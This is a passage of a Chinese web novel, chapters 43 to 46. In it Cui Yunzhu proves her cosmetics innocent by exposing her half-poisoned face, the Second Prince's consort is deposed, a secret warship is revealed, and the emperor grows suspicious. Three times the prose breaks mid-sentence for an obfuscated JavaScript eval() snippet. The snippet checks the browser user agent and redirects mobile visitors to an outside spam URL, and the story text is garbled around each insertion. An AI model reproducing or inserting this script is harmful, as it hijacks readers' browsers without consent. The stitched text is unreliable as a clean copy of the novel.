是离她最近的一位贵妇发出的。 紧接着,是成片的,倒吸冷气的声音。 所有人都看到了。 看到了那张足以让世间所有颜色都黯然失色的,绝美的脸。 一张……一半是天堂,一半是地狱的脸。 她的右半边脸,光洁如玉,细腻如瓷,在阳光下,泛着健康而柔润的光泽,完美无瑕 。 而她的左半边脸…… 红肿,溃烂,上面布满了细小的,密密麻麻的脓包,正微微地,向外渗着淡黄色的,令人作呕的液体 。 两种截然不同的景象,出现在同一张脸上,形成了一种触目惊心的,诡异而恐怖的对比。 自证清白! 她用一种最惨烈,最无可辩驳的方式,向全世界证明了,“玉容膏”本身,无毒! 有毒的,是被人添加进去的东西! 人群中,二皇子妃魏书语的身体,猛地一晃,脸色,瞬间变得惨白如纸。 不可能…… 这不可能! 她怎么会……她怎么敢! 崔云姝没有理会众人的惊骇。 她只是用一种平静到令人发毛的眼神,看着大理寺卿,一字一顿地说道: “大人,现在,证据够了吗?” 还没等大理寺卿回答。 她缓缓地,举起一只手,指向了人群中,二皇子妃的那辆马车。 她的声音,陡然拔高,像一把出鞘的利剑,寒光四射! “此毒,名为‘腐肌草’,非剧毒,却能与兰草酮发生反应,侵蚀肌肤。此草,产量稀少,畏寒喜湿,整个大秦,只在南境三处沼泽之地有所生长。” “而其中,最大的一处产地,恰好,就在……” 她的声音,拖得很长,每一个字,都像一记重锤,狠狠地,砸在所有人的心上。 “……二皇子妃殿下,您娘家的封地之内!” 轰—— 人群,彻底炸了。 所有人的目光,都像利箭一样,齐刷刷地,射向了那辆瑟瑟发抖的,华丽的马车。 魏书语感觉自己的血液,在这一瞬间,都冻结了。 而崔云姝的审判,还没有结束。 就在这时。 庭院的大门,被猛地撞开。 唐璞手下的亲兵,像拖死狗一样,拖进来一个被打得鼻青脸肿,浑身发抖的男人。 “大人!”亲兵高声喊道,“人,抓到了!‘镜花缘’的伙计,是他收了钱,在玉容膏里下的毒!” 人证! 物证! 动机! 所有的一切,都形成了一个完美的闭环! 图穷匕见! 崔云姝站在那里,半边脸绝美如神,半边脸溃烂如鬼。 她的嘴角,勾起一抹冰冷的,胜利的微笑。 她看着那辆马车,看着那个已经彻底乱了方寸的女人,在心里,轻轻地说了一句。 游戏,结束了 。 43.第 43 章 大理寺的庭院,在那一瞬间,变成了一座无声的坟墓 。 所有活人的声音,都被崔云姝那句石破天惊的指控,给活活地,埋了进去。 风停了。 哭喊声停了。 咒骂声,也像是被人掐住了脖子,戛然而止。 只剩下死一样的寂静。 和数百道目光。 震惊的,疑惑的,恐惧的,幸灾乐祸的,齐刷刷地,像无数把淬了毒的刀子,钉向了人群中那辆瑟瑟发抖的,华丽的马车。 二皇子妃,魏书语,感觉自己浑身的血液,都在那一瞬间,被抽干了。 她能感觉到车厢外,那数百道目光,穿透了厚重的车壁,穿透了那层薄薄的纱帘,像无数根冰冷的钢针,扎在她身上,扎进她的骨头里。 腐肌草。 南境封地。 她以为做得天衣无缝的,最隐秘的杀招,就这么被崔云姝,当着全京城人的面,血淋淋地,撕开了。 不…… 不对…… 她怎么会知道? 她怎么可能知道! 那被买通的伙计已经死了!死无对证! 她是在诈我!她一定是在诈我! 魏书语的指甲,深深地掐进了掌心的软肉里,尖锐的疼痛让她混乱的大脑,恢复了一丝清明。 她不能慌。 她是皇子妃,她是未来的…… 她不能在这里,被一个商贾之女,吓破了胆。 “荒谬!” 一个尖利的声音,终于从那辆马车里传了出来,带着一种色厉内荏的,极力想要维持镇定的颤抖。 “简直是荒谬绝伦!你……你一个商贾之女,毁了自己的容貌,就想攀诬本宫吗?南境之地何其广阔,长了几棵毒草,与本宫何干?这分明是你崔家自知罪孽深重,想要拖本宫下水!” “来人!给本宫……回府!” 她想逃。 然而,已经晚了。 当崔云姝以自身为饵,将这场局做到这个份上的时候,她就已经堵死了所有人退场的路。 “王妃殿下,且慢。” 一个清朗的,带着几分疲惫,却又无比沉稳的声音,响了起来。 是崔元珏。 他从人群中走出,对着那辆马车,不卑不亢地,行了一礼。 “家妹所言,是否属实,一查便知。大理寺的卷宗,会记录下今日的一切。王妃殿下此刻若是走了,恐怕……就不是攀诬,而是畏罪潜逃了。” 他的话,像一把温柔的刀,却精准地,斩断了魏书语最后一丝侥幸。 大理寺卿那张灰败的脸上,终于有了一丝表情。他看了一眼半边脸溃烂如鬼,眼神却亮得吓人的崔云姝,又看了一眼那辆进退维谷的马车,最后,目光落在了那个已经被吓得瘫软如泥的,被收买的伙计身上。 他知道,这案子,已经不是他这个小小的大理寺,能审的了。 “封锁现场!”他嘶声下令,“将所有涉案人等,全部收押!卷宗,连夜整理,呈报御前!” …… 夜,皇宫,御书房。 皇帝唐泰,看着面前那份由大理寺连夜呈上来的,还带着新鲜墨迹的卷宗,一言不发 。 他的脸上,看不出喜怒。 但那双深邃的,如同古井般的眸子里,却翻涌着足以将整个京城都淹没的,冰冷的,滔天的怒火。 他不在乎一个皇子妃的争风吃醋。 他也不在乎什么“玉容膏”是真是假。 他在乎的,是皇家的颜面! 是他唐家的,天下之主的颜面! 后宫干政,构陷朝臣家眷,手段恶毒至此!更愚蠢的是,竟然被人当着全京城人的面,把底裤都给扒了下来! 那个崔家的四丫头…… 皇帝的脑海中,浮现出暗卫汇报里,那个在大理寺庭院中,以半张鬼面,平静地指控着皇子妃的少女。 好狠的手段。 好绝的胆色。 她不是在自证清白。 她是在逼宫。 她是用自己的脸,用崔家的名誉,用一场盛大到无可附加的公开审判,来逼着他这个皇帝,给她一个交代。 一个不能有丝毫偏袒,不能有任何回旋余地的,铁面无私的交代。 因为,全天下的人,都在看着。 “陛下……”一旁的内侍总管,战战兢兢地,连大气都不敢喘。 皇帝缓缓地,合上了卷宗。 “传朕旨意。” 他的声音,很平静,平静得没有一丝波澜。 但每一个字,都像一块从万丈高空坠落的寒冰。 “二皇子妃魏氏,善妒成性,构陷忠良,品行不端,秽乱宫闱!即日起,废黜其妃位,打入冷宫,无诏,永不得出!” “二皇子唐景明,教妻不严,识人不明,以致家丑外扬,皇室蒙羞!着,闭门思过三月,收回其协理户部、工部之一切差事,静心思过!” “崔氏有女,临危不乱,刚烈无畏,有其风骨。‘镜花缘’一案,沉冤得雪。着,内务府拨银十万两,上等玉容奇珍百件,赐予崔府,以作安抚。” 旨意,如雷霆,瞬间传遍了整个皇宫。 二皇子府,彻底塌了。 当传旨的太监,面无表情地,从魏书语身上剥下那身华贵的妃子服饰时,她才终于从那场噩梦中惊醒。 她发疯似的,尖叫着,哭喊着,咒骂着。 咒骂崔云姝,咒骂那个将她当做弃子的丈夫,咒骂这个冰冷无情的,吃人的皇宫。 然而,没有人在意。 她像一条被拔了牙的毒蛇,被两个面无表情的嬷嬷,拖向了那座她曾经无数次听说过,却从未想过自己会踏足的,冰冷的牢笼。 而她的丈夫,二皇子唐景明,只是隔着一扇门,冷冷地听着她的哭喊,从头到尾,没有露面。 他不是不想救。 是不能救,也救不了。 弃车保帅。 这是皇家,最冰冷,也最实用的生存法则 。 …… 东宫。 书房里,暖意融融。 太子唐景承看着面前那份刚刚传来的邸报,脸上,是毫不掩饰的,畅快淋漓的笑意。 “好!好一个以身试毒!好一个绝地反杀!”他忍不住击节赞叹,“孤这位未来的弟妹,当真是……奇女子!” 崔元珏站在一旁,脸上也带着几分与有荣焉的激动和自豪。 但更多的,是后怕。 他无法想象,自己的妹妹,是以怎样一种心情,将那致命的毒药,涂抹在自己脸上的。 “殿下,”他躬身道,“二皇子倒台,其协理的户部与工部,权力真空。这,正是我等扩充实力的最好时机!臣以为,我们应当立刻上书父皇,举荐我们的人,接管这两个要职!” “不可。” 唐景承脸上的笑意,收敛了一些。他看了一眼崔元珏,摇了摇头。 “元珏,你看得还不够远。”他沉声道,“父皇此刻,正在气头上。他气的,不仅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16524557|183896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仅是老二的愚蠢,更是皇室颜面扫地。我们此刻若是急于抢夺权力,在父皇眼中,与那趁火打劫的豺狼,有何区别?” 崔元珏的心,咯噔一下。 他只看到了胜利,却忽略了胜利背后,那位手握最终裁决权的,帝王的心思。 他正要请罪,脑海中,却忽然闪过几日前,妹妹派人送来的那张,只有寥寥数语的纸条。 “胜,不骄。败,不馁。进,需缓。退,需速。” 他忽然,明白了什么。 “殿下圣明!”崔元珏猛地抬起头,眼神中,是前所未有的清明和坚定,“是臣,思虑不周了。” “臣以为,殿下不仅不该争,反而应该……退!” “退?”唐景承一愣。 “对,退!”崔元珏的声音,变得沉稳而有力,“殿下明日上朝,应当主动向父皇请罪!称,此事虽由二皇子妃而起,但波及甚广,京城震动,亦有我等识人不明、未能及时察觉之过!” “不仅如此,殿下还应主动举荐几位素来与世无争,德高望重的老臣,暂代户部与工部之职!以示殿下心胸坦荡,毫无私心!” 唐景承看着崔元珏,那双温润的眼睛里,渐渐地,充满了震惊,和一种难以言喻的欣赏。 以退为进! 何等高明的一步棋! 在二皇子焦头烂额,狼狈不堪的时候,他这个做兄长的,却主动请罪,还为国举才! 这一退,非但不会损失什么,反而能将他的仁德宽厚,与二皇子的狭隘狠毒,形成最鲜明的,最强烈的对比! 在父皇心中,孰高孰下,一目了然! “元珏……”唐景承走下座位,重重地,拍了拍崔元珏的肩膀,眼神里,是前所未有的倚重和信任,“你,真是孤的子房啊!” …… 第二日的朝堂之上。 当太子唐景承,主动出列请罪,并举荐了几位中立派老臣时,整个太极殿,都为之侧目。 龙椅上的皇帝,看着自己这个顾全大局、仁厚宽和的嫡长子,再想想那个因为后宅妇人而搞得自己焦头烂额的庶子,心中那杆天平,彻底地,倾斜了。 “准奏。” 他淡淡地说道。 然后,他又补充了一句。 “不过,那几位老臣,年事已高,就不必劳烦了。户部与工部之事,暂由太子你……多费心吧。” 旨意一下。 二皇子党羽,面如死灰。 而太子一党,则喜形于色。 崔家,作为最大的“受害者”,不仅洗刷了所有的污名,还得到了巨额的皇家赏赐,声望,一时无两 。 崔元珏,因“献策有功”,在东宫的地位,更是扶摇直上,隐隐然,已成为太子身边,不可或缺的第一心腹 。 一场由后宅嫉妒引发的,致命的危机。 最终,却以一种所有人都没想到的方式,变成了一场属于太子党和崔家的,最酣畅淋漓的,政治上的完胜。 清姝院里。 崔云姝看着镜中,自己左脸上,那道虽然已经结痂,却依然狰狞的疤痕。 她听着丫鬟报上来的,朝堂上的最终结果。 脸上,没有一丝波澜。 她只是伸出手,轻轻地,抚摸着那道疤痕。 这道疤,会好的。 但它会永远提醒她,在这个该死的世界里,想要活下去,仅仅有钱,有船,是远远不够的。 你还需要,有权。 有能让所有人都感到恐惧的,绝对的权力。 44.第 44 章 那道疤,就在崔云姝左边的脸颊上 [14]。 像一道浅粉色的,被月光浸泡过的伤痕。 她坐在镜子前,铜镜里的人影是模糊的。她看不清自己的脸,只能感觉到那道疤的存在。像一根细细的,冰冷的,永远不会消失的针,贴着她的皮肤。 它不疼了。 但它会提醒她。 提醒她,在大理寺的那个下午,那种皮肤被一点点灼烧,腐蚀,溃烂的感觉。提醒她,那些看热闹的,幸灾乐祸的,怨毒的眼神。提醒她,那个坐在马车里,以为自己稳操胜券的,二皇子妃魏书语。 提醒她,在这个该死的世界里,美丽,财富,甚至智慧,都是多么的脆弱。 只要那个坐在最高处的人,一句话,一个念头,就能把你所有的一切,连同你的脸,你的命,一起碾碎。 清姝院里,很安静。 那场惊动了整个京城的“玉容膏”风波,已经过去了。 崔家,成了最大的赢家 。二皇子妃被打入冷宫,二皇子被收回权柄,闭门思过。太子党趁机掌控了户部和工部两个钱袋子,权势滔天 [14]。 “镜花缘”这个名字,也因此,成了传奇。 一个置之死地而后生,被皇家亲自认证过的,代表着“清白”与“奇迹”的传奇 。姐姐崔云熙在宫中,更是将“玉容膏”变成了太子妃身份的象征。现在,能拥有一盒“玉容膏”,比拥有一支先帝御赐的簪子,更能证明你的地位 。 钱,像潮水一样,涌进崔家的账房。 声望,也达到了前所未有的顶峰。 可崔云姝知道,这不够。 远远不够。 “姝儿。” 母亲宋氏的声音,将她从那种冰冷的,几乎要将她淹没的思绪中,拉了回来。 宋氏端着一碗燕窝,走了进来。她的脸上,已经没有了之前的惊惶和担忧,取而代之的,是一种沉淀下来的,混杂着骄傲、心疼和一丝敬畏的复杂神情。她看着镜子前女儿的侧影,看着那道浅浅的疤痕,心里就像被针扎了一下。 她这个女儿,好像从那天起,就彻底变了。 她把那碗燕窝放在桌上,低声说:“太医说了,这疤痕虽浅,但要全消掉,还得些时日。你别……” “娘。” 崔云姝转过头,打断了她。 她的脸上,没有什么表情。那双漆黑的眸子,像两口深不见底的古井,平静得让人心慌。 “我没事。”她说,“一道疤而已,死不了人。” 她拿起桌上一本崭新的册子,递给了宋氏。 “‘镜花缘’的声望,已经到了顶。接下来,该把这些虚无缥缈的声望,变成更实在的东西了。” 宋氏接过册子。 封面上,是三个用泥金勾勒出的,雍容华贵的篆字。 锦绣阁 。 她翻开册子。 里面,不再是蛋糕和奶油。 而是丝绸,是云锦,是缂丝,是苏绣,是几百种不同颜色、不同材质、不同工艺的,大秦最顶级的布料。 是东珠,是南珠,是猫眼石,是祖母绿,是各种能让女人疯狂的,璀璨夺目的珠宝设计图。 “奢侈品。”崔云姝淡淡地吐出三个字,“我们要做的,不是和那些绸缎铺子抢生意。我们要定义的,是这个时代最顶级的审美。我们要让那些贵妇名媛相信,只有从‘锦绣阁’里出去的东西,才是真正的体面,才是真正的尊贵。” “我们要卖的,是一件衣服吗?不。我们卖的,是太子妃姐姐亲手设计的花样子。我们卖的,是一块宝石吗?不。我们卖的,是只此一件,绝无复刻的,无与伦比的荣耀。” 宋氏看着那本计划书,看着上面关于“品牌故事”、“限量发售”、“高级定制”等一系列闻所未闻的词汇,她的手,微微地,有些发抖。 她看着自己的女儿,看着她脸上那道还未消退的疤痕。 她忽然明白了。 这哪里是在做生意。 这是在……筑城。 用金钱,用丝绸,用珠宝,用所有女人的虚荣和欲望,为崔家,也为她自己,筑起一座更高,更坚固,更能抵御风雨的城墙。 “好。”宋氏合上册子,眼神里,是前所未有的坚定,“就按你说的办。人手,铺面,都交给我。你只管,把你的那些……奇思妙想,画出来就好。” 母女二人,相视一眼。 一切,尽在不言中。 …… 崔云姝觉得,自己需要去吹吹海风。 京城里的空气,太闷了。充满了权谋的腐臭味,和胭脂水粉的甜腻味,让她喘不过气。 她需要大海。 需要那股子咸涩的,带着铁锈味的,自由的风。 她更需要去看看,她的“诺亚方舟”,她的“神机舰”,她真正的,能带她逃离这一切的……希望。 当她和唐璞再次站在东海之滨那个秘密船坞前时,连她自己,都被眼前的景象,给镇住了 。 这已经不是一个村落了。 这是一个巨大的,热火朝天的,充满了生命力的工地。 上千名工匠,赤着膊,喊着号子,像一群不知疲倦的蚂蚁,在一个巨大无比的,如同远古巨兽骸骨般的造物上,忙碌着。 敲打声,锯木声,号子声,混杂在一起,形成了一首粗犷而雄壮的交响曲。 空气中,弥漫着松木、桐油和海盐混合的味道。 那艘船…… 崔云姝抬起头。 那艘只存在于她图纸上的,她用前世记忆拼凑出来的“宝船”,此刻,正以一种超乎想象的姿态,耸立在天地之间 。 巨大。 无法用语言形容的巨大。 它的龙骨,像一条从海底深处延伸出来的,巨龙的脊椎,稳稳地,扎根在巨大的船台上。 它那已经初具雏形的船身,像一座移动的山峦,投下的阴影,足以笼罩整个船坞。 最让她感到震撼的,是那些已经安装了一部分的,巨大的隔板。它们将船的内部,分割成了一个个独立的,如同蜂巢般的舱室。 水密隔舱。 在这个时代,绝对的,神迹一般的存在 。 唐璞已经看傻了。 他呆呆地站在那里,张着嘴,像一个第一次看到大海的,内陆的孩子。 他是个军人。 他比任何人都懂,眼前这个庞然大物,意味着什么。 它身上的每一个线条,都充满了力量感。那高高翘起的船首,不是为了好看,那是为了破开最汹涌的波涛。那宽阔的甲板,足以容纳上千名士兵……不,是水手。那两侧预留出来的,一个个黑洞洞的,用铁皮加固过的方孔…… 唐璞的心脏,开始不受控制地,疯狂地,擂动起来。 那不是用来通风的。 那是……炮门! 可以随时加装重型床弩,甚至……火炮的炮门! 这不是一艘商船。 这绝对不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16531050|183896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一艘用来运货的商船! 这是一艘…… 这是一艘足以横行四海,摧毁一切的……无敌战舰! 就在这时。 一个疯疯癫癫的,头发花白的身影,从那巨大的船身上,像猴子一样,敏捷地滑了下来。 是鲁大师。 他浑身都是木屑和油污,眼睛里却闪烁着一种疯魔般的,狂热的光芒。 他看到崔云姝,像看到了亲人,一把冲了过来,抓住她的胳膊,激动得语无伦次。 “丫头!你来了!你快来看!快来看我的杰作!” 他不由分说,拉着崔云姝,就往那艘巨舰上爬。 唐璞跟在后面,脑子里还是一片嗡嗡作响的空白。 鲁大师指着船上的每一个细节,像一个向父母炫耀自己玩具的孩子,唾沫横飞。 “你瞧这水密隔舱!我用双层卯榫结构加固了!就算撞上暗礁,破了两个舱,水也绝对漫不到第三个舱里去!” “还有这平衡舵!我加了绞盘联动!一个人,就能轻松操控!比你图纸上的,还要省力三倍!” “还有……还有……” 他献宝似的,把他们带到了船只最高处的甲板上,指着脚下那坚实的,铺设了三层柚木的甲板,用一种近乎于咏叹的,充满了骄傲的语调,高声宣布: “我给它,取了个名字!” “它不该叫什么狗屁的‘宝船’!它,是上天赐予的神器!是人间的神机造化!” “它叫……” “‘神机舰’!!” 神机舰。 唐璞站在甲板上,海风吹得他的衣袍猎猎作响。 他看着身边那个娇小的,平静的,正低声和鲁大师讨论着某个零件角度的少女。 她脸上那道浅浅的疤痕,在海风的吹拂下,非但没有让她显得脆弱,反而,给她增添了一种难以言喻的,破碎而又坚韧的,惊心动魄的美感。 他看着她。 再看看脚下这艘足以颠覆整个时代的,名为“神机舰”的庞然大物。 一个念头,像一道毁天灭地的惊雷,在他的脑海中,轰然炸响。 他终于,彻底地,明白了。 什么股份公司。 什么云间阁。 什么北境的军需。 那都是障眼法! 那都是她为了掩人耳目,为了麻痹皇帝,为了给眼前这艘真正的“大杀器”的诞生,争取时间,而布下的……惊天大局! 她,从来就不是想赚钱。 她,也从来不是想辅佐太子。 她要的…… 她要的,是这天下! 她要用这艘“神机舰”,去开创一个属于她的,全新的时代! 而自己…… 唐璞看着崔云姝的侧脸,那双总是充满了狂热和冲动的眼睛里,第一次,涌起了一股近乎于卑微的,狂热的,无以复加的……崇拜 。 他以为自己是盟友,是战友。 不。 他错了。 他不过是,她这盘惊天大棋上,一枚被她选中,有幸能为她冲锋陷阵的……棋子。 而能成为她的棋子…… 是何等的,荣耀! 他的“大业”,在她的“大业”面前,简直如同萤火与皓月。 唐璞的呼吸,变得滚烫。 他紧紧地,握住了腰间的刀柄。 谋主。 从今往后,我唐璞这条命,就是你的了 。 45.第 45 章 崔云姝觉得,她可能要死了。 不是那种轰轰烈烈的,被一刀砍了脑袋的死法。 是一种更缓慢,更折磨人的,被一种名为“盟友”的生物,活活耗死的,憋屈的死法。 她坐在安郡王府的马车里,车轮压过青石板路,发出“咯噔、咯噔”的,催命一样的声响。 窗外是京城的黄昏。 金色的,红色的,紫色的霞光,像被打翻了的颜料,胡乱地涂抹在天际,有一种壮烈而凌乱的美。 她没心情看。 她只觉得那颜色,像血。 像她自己,正在一点一点,从七窍里流出来的,心头血。 唐璞派人来请她的时候,她正在云间阁的顶楼,盘算着从北境那一单“国难财”里,到底能刮下来多少油水,够不够给“神机舰”再多铺一层柚木甲板。 那是一种很纯粹的,很快乐的,属于资本家的,朴实无华的快乐。 然后,唐璞的亲兵就来了。 一身的煞气,满脸的肃穆,用一种近乎于传达军令的语气,说:“郡王有请,最高级别的,战略会议。” 最高级别。 战略会议。 崔云姝听到这八个字的时候,脑子里那根名为“理智”的弦,就发出了“嗡”的一声,濒临断裂的悲鸣。 她知道,躲不掉了。 那个被她好不容易用“北境救灾”的活儿打发走的,精力旺盛到可怕的“革命先锋”,他又回来了。 而且,他带着他的“最新研究成果”,回来了。 …… 安郡王府的密室,和崔云姝想象的,一模一样 。 没有她书房里那种点着安神香的,雅致的,适合摸鱼的氛围。 这里,是冷的。 墙是青砖的,地是石板的,空气里,弥漫着一股子兵器上擦拭的桐油,和皮革护具混合在一起的,冰冷的,属于战争的味道。 墙上,挂着不是什么名家字画,而是一排排擦得锃亮的,泛着寒光的兵器。 刀,枪,剑,戟。 还有一张巨大的,用整张牛皮制成的,硬邦邦的弓。 崔云姝觉得,自己不是来参加什么“战略会议”的。 她是来参加自己的鸿门宴的。 项庄舞剑,意在沛公。 唐璞舞刀,意在……她的命。 唐璞就站在这间密室的中央。 他没有穿那身碍事的王爷常服,而是换上了一身最利落的黑色劲装,长发高高束起,整个人,像一把出了鞘的,即将饮血的刀。 他的脸上,带着一种崔云姝在心理咨询室里见过无数次的,属于偏执型人格障碍患者在阐述自己那套完美逻辑时,特有的,狂热而又坚定的神采。 他看着她,眼睛里,烧着火。 “你来了。” 他开口,声音低沉,却像擂响的战鼓,震得这间密室嗡嗡作响。 崔云姝点了点头,在唯一的一张椅子上坐了下来。那椅子是硬木的,没有软垫,硌得她骨头疼。 她没说话。 她只想看看,她这位“好盟友”,这次,又能给她脑补出什么惊天动地的“谋反大业”来。 唐璞没有让她失望。 他深吸一口气,像是要进行一场最神圣的仪式。 他走到墙边,从一个巨大的,上了锁的铁箱子里,拖出了一个沉甸甸的,长条形的木盒。 他将木盒放在中央那张同样冰冷坚硬的石桌上,打开。 里面,不是金银财宝。 也不是什么他从北境带回来的土特产。 而是一张图。 一张用上好的,不知什么皮鞣制而成的,巨大无比的,地图 [13]。 当唐璞将那张地图,缓缓地,在石桌上铺开时,崔云姝感觉自己的太阳穴,开始一抽一抽地疼。 那地图,她认得。 是她上次为了忽悠他,随手画出来的,那张结构复杂到变态的,“神机舰”的设计图。 她当时只是想找个借口,把他支到东海去,让他和鲁大师那种技术宅,一起在造船的汪洋大海里,相亲相爱,互相折磨,别再来烦她。 可现在…… 唐璞的手指,像一根烧红的铁钎,重重地,点在了那张图纸上。 他的声音,因为极致的激动,而变得有些高亢,像是在吟诵一首壮丽的,即将流传千古的史诗。 “谋主!” 他又开始叫她这个要命的称呼了。 “您看!” 他指着图纸,又指了指密室墙上挂着的那张大秦全国舆图,眼中爆发出万丈光芒。 “东海船坞,京城!这一切,我都想通了!我终于,完全领悟了您的深意!” 崔云姝面无表情。 内心:不,你没有。你什么都没领悟。求你别再领悟了。 唐璞已经彻底进入了状态,他像一个终于破解了神谕的,最虔诚的信徒,开始了他激情澎湃的,逻辑完美的,自我攻略式的“战略阐述”。 “‘皇家海洋贸易公司’!这是您布下的,最精妙的一步棋!”他的声音里充满了赞叹,“表面上,我们成立公司,是为了赚钱,是为了安抚陛下,是为了将整个朝堂都绑上我们的战车!” “但实际上呢?” 他猛地一拍桌子,震得桌上的茶杯都跳了一下。 “实际上,这是在为我们的‘神机舰’,提供一个最完美的,最名正言顺的,出海的借口!!” 崔云姝:“……” 不,我只是想让它出去跑商,给我赚钱回来,好让我早日实现财务自由,然后跑路。 唐璞的手指,在地图上,重重地画了一个圈,圈住了从京城到东海的出海口。 “您看!皇家船运公司的首航,迫在眉睫!这是何等重要的时刻!这不仅是一次商业航行,这更是……我们‘新水师’的,第一次亮相!” “所以,我建议!”他的声音,陡然拔高,每一个字,都像是从胸腔里炸出来的,“我们必须以‘神机舰’,作为此次首航的旗舰!!” 崔云姝的眼角,狠狠地跳了一下。 旗舰? 大哥,那船连甲板都还没铺完!龙骨都还露在外面!你让它当旗舰?当潜水艇吗?! “不仅如此!”唐璞根本没有给她任何反驳的机会,他已经完全沉浸在了自己那套宏伟的逻辑里,“我们还要借着这次首航,在东海,进行一次大规模的,实战化的……军事演习!!” “以‘护航商船,清剿倭寇’为名,检验我们‘神机舰’的真正战力!同时,也是最重要的一点!” 他转过头,双目灼灼地,死死地盯着崔云姝,那眼神,炽热得,几乎要把她烧穿。 “借着这次演习,将一部分我们绝对可以信任的,从北境军中挑选出来的百战死士,以‘护航水手’的名义,安插进船队!完成对这支舰队,从上到下,从里到外,彻彻底底的,绝对掌控!!” 演习…… 安插人手…… 绝对掌控…… 崔云姝听着这些词,感觉自己的脑子,已经变成了一团浆糊。 她看着唐璞那张因为激动而涨红的,写满了“我好聪明”、“快夸我”的脸。 她内心那个穿着华服,端庄优雅的贵女小人,终于崩溃了。 她跪在地上,双手抓着自己的头发,疯狂地尖叫。 “演习你个头啊!老娘只是想跑个商啊!安□□个鬼的人手啊!那都是我花钱雇来的船工水手啊!我只想赚钱!赚钱!然后跑路啊!谁他妈要跟你掌控舰队啊!!” “救命啊!这日子没法过了!这个反贼盟友到底什么时候才能清醒一点啊!!” 然而。 现实中。 崔云姝只是缓缓地,端起了桌上那杯已经凉透了的茶,轻轻地,抿了一口。 茶水冰冷,苦涩。 像她此刻的人生。 她必须,必须想个办法,让他冷静下来。 她抬起头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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崔云姝感觉自己的心脏,漏跳了一拍。 完了。 她好像,给自己挖了个更大的坑。 她深吸一口气,抛出了最后一个,也是她认为最致命的,无法解决的问题。 “陛下。”她的声音,压得更低了,“如此大张旗鼓,‘神机舰’的与众不同,那些百战老兵的杀气……你以为,能瞒得过陛下的眼睛吗?万一,引起了他的猜忌,又当如何?” 她觉得,这个问题,总该让他知难而退了吧。 然而。 唐璞听完,非但没有半分畏惧,反而,露出了一个恍然大悟的,更加钦佩的,近乎于狂热的笑容。 他看着崔云姝,眼神里,充满了“原来您在这里等着我”的了然。 他上前一步,声音里,是压抑不住的激动。 “谋主!我明白了!我终于明白了您的最终深意!” “您问的这些,都不是问题!而是在……考验我!” “您是在考验我,作为一个合格的‘先锋大将’,有没有独当一面,解决所有问题的能力和决心!” 崔云姝彻底不想说话了。 她看着他,眼神空洞,内心一片死寂。 毁灭吧。 赶紧的。 累了。 唐璞根本没有察觉到她的绝望,他已经被自己的脑补,感动得热泪盈眶。 他单膝跪地,双手抱拳,用一种即将奔赴刑场的,最壮烈的,最决绝的语气,嘶声吼道: “谋主!下令吧!” “统帅,我来当!” “兵员,我去挑!” “陛下的猜忌,我一力承担!” “只要您一声令下,我唐璞,万死不辞!!” 他抬起头,那双黑亮的眼睛里,燃烧着熊熊的,名为“大业”的火焰,和一个男人最炽热的,最纯粹的,对理想和……她的,全部忠诚。 崔云姝看着他。 看着这个跪在自己面前的,英俊的,热血的,愚蠢的,无可救药的……盟友。 她缓缓地,闭上了眼睛。 她感觉自己,不是被架在了什么“反贼头子”的宝座上。 她是…… 被他亲手,绑上了通往断头台的,那辆最华丽的,囚车。 而且,连车门,都他妈的,被焊死了。 46.第 46 章 皇宫,御书房 。 空气是凝固的。 不是那种沉闷的,是那种被抽干了所有杂质,只剩下纯粹的,绝对的权力的,真空般的凝固。 香炉里燃着顶级的龙脑香,那味道闻久了,不觉得香,只觉得腻,像一层看不见的油,糊在你的口鼻,你的肺里,让你喘不过气。 皇帝唐泰,就坐在这片凝固的,油腻的空气里。 他看着手边那份由暗卫呈上来的,薄薄的,却又重逾千斤的密报 。 他的脸上,没有表情。 那双因为常年深居简出而显得有些浑浊的眼睛里,也看不出喜怒。 但他面前那个穿着黑色飞鱼服,从头到脚都散发着死亡气息的暗卫首领,却能感觉到。 他能感觉到,这座大殿的温度,正在以一种肉眼可见的速度,下降。 密报上的字,不多。 但每一个字,都像一颗钉子。 崔氏四女,崔云姝。 于京城创立“云间阁”、“镜花缘”、“锦绣阁”,其商业网络,已遍布大秦北方各州府,财力,深不可测 。 北境雪灾,其以一人之力,一夜之间调动北境所有物资,解十万大军燃眉之急。其在军中声望,已直追安郡王唐璞 [18]。 与安郡王唐璞,过从甚密 。 于东海之滨,秘密建造巨舰。其船之巨,其形之怪,前所未见 。 皇帝的手指,在密报上,轻轻地,敲了一下。 咚。 那声音很轻,却像一记重锤,砸在暗卫首领的心上。 皇帝想起了几年前,那个献上制冰法的,聪明的,漂亮的,却又带着几分懒散怯懦的小姑娘。 他把她当做一只养在笼子里的,会下金蛋的金丝雀。 他欣赏她的聪明,也乐于看到她用那些新奇的玩意儿,充盈他的国库,搅动京城这潭死水。 他甚至默许了她和唐璞的接近,默许了她将崔家,更深地绑在太子那辆战车上。 因为,这一切,都在他的掌控之中。 可现在…… 这只金丝雀,好像在他看不见的地方,偷偷地,长出了一双锋利得,足以撕碎他这个笼子的,爪子 。 皇帝的眼中,终于,闪过了一丝什么。 那不是愤怒。 是比愤怒,更可怕的东西。 是兴趣。 